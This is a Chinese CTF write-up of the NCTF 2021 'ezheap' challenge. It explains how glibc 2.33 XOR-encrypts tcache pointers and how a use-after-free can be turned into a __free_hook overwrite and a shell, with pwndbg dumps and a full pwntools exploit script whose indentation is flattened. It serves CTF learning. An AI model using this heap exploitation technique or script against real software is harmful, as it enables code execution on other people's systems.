一篇文章弄懂暴力拆解safe-unlink

Delina

原文链接：一篇文章弄懂暴力拆解safe-unlink
​
前言今天（2021.11.28）NCTF的题目让我大开眼界，上来最低利用版本都是2.31，新生都如此生猛了吗，由于我比较菜只搞定了这个ezheap，2.33版本的题目我也是第一次做，花了1个小时fuzz出了这个玩意是异或加密然后又花了30多分钟去理顺逻辑，算是收获满满吧
由于这个2.33的利用我在网上并没有看见有文章发布，我就写一下供各位pwn学习参考。
前置知识UAF，异或加密，hook利用
版本新增保护介绍2.33版本的glibc不同于以往，对于堆块地址的释放之后，对于同一大小的fastbin以及tcache有效的fd永远只有一个，剩余的bin照旧。
对于2.33版本下对于fastbin以及tcache的fd指针会被进行异或操作加密，用来异或的值随堆地址发生改变。
举例利用例题：NCTF2021 ezheap漏洞分析如下存在UAF漏洞，对于heap的size位置零，但是指针未置零，可以造成堆复用
tips：可以利用glibc-all-in-one配合patchelf来建立题目的运行环境
命令如下

• 
  

patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 ezheap
再说点骚操作，题目一般只给libc没有ld，可以直接把all in one的libc替换成题目给的，然后再去patchelf就可以使用上题目的libc了

​

低于2.33常规思路攻击通常的思路就是先free一次但是heaparry指针保留，再申请回来就有一个新的指针指向同一个地址，直接uaf任意地址申请，attack free hook 梭哈getshell
2.33绕过方法First 堆地址的泄露
首先申请两个chunk，然后直接free掉，此时这两个堆的fd位置的内容如下

1. 0x5569374d8290: 0x0000000000000000 0x0000000000000091
   
2. 0x5569374d82a0: 0x00000005569374d8 0x00005569374d8010
   
3. 0x5569374d82b0: 0x0000000000000000 0x0000000000000000
   
4. 0x5569374d82c0: 0x0000000000000000 0x0000000000000000
   
5. 0x5569374d82d0: 0x0000000000000000 0x0000000000000000
   
6. 0x5569374d82e0: 0x0000000000000000 0x0000000000000000
   
7. 0x5569374d82f0: 0x0000000000000000 0x0000000000000000
   
8. 0x5569374d8300: 0x0000000000000000 0x0000000000000000
   
9. 0x5569374d8310: 0x0000000000000000 0x0000000000000000
   
10. 0x5569374d8320: 0x0000000000000000 0x0000000000000091
    
11. 0x5569374d8330: 0x0000556c61def678 0x00005569374d8010

复制代码

由于UAF漏洞的存在，直接泄露出chunk0和chunk1的fd，然后进行异或操作我们可以得到 heap:0x5569374d82a0也就是此时chunk0的content addr，这个地址我们先记录下来
（由于我脚本是分多次启动打断点调试，数据不是同一批，具体可以自己去用脚本去调试）
Second 获取某个堆块的对应的异或key值
我们继续进行，假设我们已经填充好了tcache并且释放了一个chunk进入了unsortedbin，目前的heap如下

1. pwndbg> heap
   
2. Allocated chunk | PREV_INUSE
   
3. Addr: 0x5650e8eb5000
   
4. Size: 0x291
   
5. 
   
6. Allocated chunk | PREV_INUSE
   
7. Addr: 0x5650e8eb5290
   
8. Size: 0x91
   
9. 
   
10. Allocated chunk | PREV_INUSE
    
11. Addr: 0x5650e8eb5320
    
12. Size: 0x91
    
13. 
    
14. Allocated chunk | PREV_INUSE
    
15. Addr: 0x5650e8eb53b0
    
16. Size: 0x91
    
17. 
    
18. Allocated chunk | PREV_INUSE
    
19. Addr: 0x5650e8eb5440
    
20. Size: 0x91
    
21. 
    
22. Allocated chunk | PREV_INUSE
    
23. Addr: 0x5650e8eb54d0
    
24. Size: 0x91
    
25. 
    
26. Allocated chunk | PREV_INUSE
    
27. Addr: 0x5650e8eb5560
    
28. Size: 0x91
    
29. 
    
30. Free chunk (tcache) | PREV_INUSE
    
31. Addr: 0x5650e8eb55f0
    
32. Size: 0x91
    
33. fd: 0x56558de5dbc5
    
34. 
    
35. Free chunk (unsortedbin) | PREV_INUSE
    
36. Addr: 0x5650e8eb5680
    
37. Size: 0x91
    
38. fd: 0x7f95da868c00
    
39. bk: 0x7f95da868c00
    
40. 
    
41. Allocated chunk
    
42. Addr: 0x5650e8eb5710
    
43. Size: 0x90
    
44. 
    
45. Top chunk | PREV_INUSE
    
46. Addr: 0x5650e8eb57a0
    
47. Size: 0x20861
    
48. 
    

复制代码

bin状态如下

1. pwndbg> bin
   
2. tcachebins
   
3. 0x90 [  7]: 0x5650e8eb5600 ◂— 0x56558de5dbc5
   
4. fastbins
   
5. 0x20: 0x0
   
6. 0x30: 0x0
   
7. 0x40: 0x0
   
8. 0x50: 0x0
   
9. 0x60: 0x0
   
10. 0x70: 0x0
    
11. 0x80: 0x0
    
12. unsortedbin
    
13. all: 0x5650e8eb5680 —▸ 0x7f95da868c00 (main_arena+96) ◂— 0x5650e8eb5680
    
14. smallbins
    
15. empty
    
16. largebins
    
17. empty

复制代码

此时用第一步方法得到的堆地址是  0x5650e8eb52a0然后为了形成堆复用，我们会再去add一个0x90的chunk，此时的heaparry如下

1. pwndbg> x/32gx 0x40a0+0x5650e8348000
   
2. 0x5650e834c0a0: 0x00005650e8eb52a0 0x00005650e8eb5330
   
3. 0x5650e834c0b0: 0x00005650e8eb53c0 0x00005650e8eb5450
   
4. 0x5650e834c0c0: 0x00005650e8eb54e0 0x00005650e8eb5570
   
5. 0x5650e834c0d0: 0x00005650e8eb5600 0x00005650e8eb5690
   
6. 0x5650e834c0e0: 0x00005650e8eb5720 0x00005650e8eb5600

复制代码

接着我们可以看下当前的bin情况如下

1. pwndbg> bin
   
2. tcachebins
   
3. 0x90 [  6]: 0x5650e8eb5570 ◂— 0x56558de5da55

复制代码

我们刚才泄露的地址是 0x5650e8eb52a0 现在tc最新的地址是 0x5650e8eb5570
我们现在可以得到key值就是key=0x5650e8eb5570^0x5650e8eb52a0=0x5650e8f25
上面我也提到了这个key是变化的，因此我们还要爆破下，但是爆破是可以找到范围的，我们可以利用常规的错误打法
先看看泄露的key和需要的key的一个偏移（很好玩的是这个偏移也是随机的）
我们再来一次之前的操作然后得到的最新的泄露key是0x5612a9a54
我们看看错误的bin如下

1. pwndbg> bin
   
2. tcachebins
   
3. 0x90 [  6]: 0x7f8b1b63e5e4

复制代码

正确的free hook地址：0x7f8e7a497e20
libc_key=0x7f8e7a497e20^0x7f8b1b63e5e4=0x5612a9bc4
hex(0x5612a9bc4-0x5612a9a54)=0x170
我试了很多次的调试，libc_key有0x170，-0x170，0x190，-0x190当然实际情况实际调试，只要调试出来的值就是有可能的偏移
最后把free_hook^libc_key=encrypto_free_hook 然后常规套路直接getshell

​

exp

1. from pwn import *
   
2. r=process('./ezheap')
   
3. #r=remote('129.211.173.64',10002)
   
4. #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
   
5. libc=ELF('libc-2.33.so')
   
6. #context.log_level='debug'
   
7. def add(size,con):
   
8. r.sendlineafter(">> ",'1')
   
9. r.sendlineafter("Size: ",str(size))
   
10. r.sendlineafter("Content: ",con)
    
11. 
    
12. def edit(idx,con):
    
13. r.sendlineafter(">> ",'2')
    
14. r.sendlineafter("Index: ",str(idx))
    
15. r.sendafter("Content: ",con)
    
16. 
    
17. def show(idx):
    
18. r.sendlineafter(">> ",'4')
    
19. r.sendlineafter("Index: ",str(idx))
    
20. 
    
21. def dele(idx):
    
22. r.sendlineafter(">> ",'3')
    
23. r.sendlineafter("Index: ",str(idx))
    
24. flag=1
    
25. while flag:
    
26. #r=process('./ezheap')
    
27. r=remote('129.211.173.64',10002)
    
28. for i in range(9):
    
29. add(128,'1')
    
30. dele(0)
    
31. show(0)
    
32. he0=u64(r.recv(6)+b'\x00'*2)
    
33. print(hex(he0))
    
34. dele(1)
    
35. show(1)
    
36. he1=u64(r.recv(6)+b'\x00'*2)
    
37. print(hex(he1))
    
38. heap=he0^he1
    
39. print("heap:"+hex(heap))
    
40. #gdb.attach(r)
    
41. for i in range(2,8):
    
42. dele(i)
    
43. show(5)
    
44. he=u64(r.recv(6)+b'\x00'*2)
    
45. print(hex(he))
    
46. show(6)
    
47. he6=u64(r.recv(6)+b'\x00'*2)
    
48. print(hex(he6))
    
49. show(7)
    
50. base=u64(r.recv(6)+b'\x00'*2)-0x1e0c00
    
51. print(hex(base))
    
52. #gdb.attach(r)
    
53. free_hook=base+libc.sym["__free_hook"]
    
54. print(hex(free_hook))
    
55. sys=base+libc.sym['system']
    
56. add(128,'')
    
57. tagerheap=heap+0x2d0
    
58. print("target heap:"+hex(tagerheap))
    
59. tagerheap_key=tagerheap^he
    
60. print("target heap_key:"+hex(tagerheap_key))
    
61. libc_key=tagerheap_key+0x170
    
62. print("target libc_key:"+hex(libc_key))
    
63. #gdb.attach(r)
    
64. dele(6)
    
65. edit(9,p64(free_hook^libc_key)+b'\n')
    
66. add(128,'/bin/sh\x00')
    
67. add(128,'1')
    
68. edit(11,p64(sys)+b'\n')
    
69. #gdb.attach(r)
    
70. dele(6)
    
71. r.sendline("ls")
    
72. a=r.recv()
    
73. if b'bin' in a:
    
74. r.interactive()
    
75. print(a)
    
76. flag=0
    
77. else:
    
78. r.close()

复制代码

题目附件下载链接关注“合天网安实验室”公众号回复：题目
推荐实验：CTF-PWN练习之执行Shellcode
PC端实操地址：http://mrw.so/6mbNfj
在缓冲区溢出攻击中，改写函数返回地址只是为了通过接管EIP寄存器来控制程序的执行流程，最终还需要执行我们的Shellcode来达到我们想要的目的，本实验将详细讲解在缓冲区溢出攻击中执行Shellcode的具体过程。
​